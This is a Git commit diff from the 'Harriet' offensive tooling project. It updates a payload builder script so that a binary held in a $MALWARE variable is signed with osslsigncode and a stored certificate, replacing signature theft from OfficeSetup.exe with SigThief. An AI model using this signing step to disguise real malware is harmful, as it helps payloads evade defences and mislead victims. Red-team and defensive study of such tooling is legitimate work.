瀏覽代碼

Update FULLAes.sh

assume-breach 2 年之前
父節點
當前提交
40dbf801e3
共有 1 個文件被更改,包括 32 次插入1 次删除
  1. 32 1
      Harriet/Harriet/FULLAes/FULLAes.sh

+ 32 - 1
Harriet/Harriet/FULLAes/FULLAes.sh

@@ -133,7 +133,38 @@ sleep 2
 echo -e ${yellow}"+++Adding Binary Signature+++"${clear}
 echo ""
 sleep 2
-python3 Harriet/Resources/SigThief/sigthief.py -i Harriet/Resources/OfficeSetup.exe -t $MALWARE -o signed$MALWARE >/dev/null 2>&1
+echo -e ${yellow}"+++Adding Binary Signature+++"${clear}
+echo ""
+sleep 2
+# Set static paths for certificate, private key, executable, and signed output
+CERTIFICATE_PATH="Harriet/Resources/certificate.pem"
+KEY_PATH="Harriet/Resources/private_key.pem"
+
+
+# Check if osslsigncode is installed
+if ! command -v osslsigncode &> /dev/null; then
+    echo "Error: osslsigncode is not installed. Please install it first."
+    exit 1
+fi
+
+# Check if the certificate and key files exist
+if [ ! -f "$CERTIFICATE_PATH" ] || [ ! -f "$KEY_PATH" ]; then
+    echo "Error: Certificate or private key file not found."
+    exit 1
+fi
+
+# Check if the executable file exists
+if [ ! -f "$MALWARE" ]; then
+    echo "Error: Executable file not found."
+    exit 1
+fi
+
+# Sign the executable using osslsigncode
+osslsigncode sign -certs "$CERTIFICATE_PATH" -key "$KEY_PATH" -in "$MALWARE" -out "signed$MALWARE" >/dev/null 2>&1
+
 mv signed$MALWARE $MALWARE
 echo -e ${yellow}"***Signature Added. Happy Hunting!**"${clear}
 echo ""
+
+
+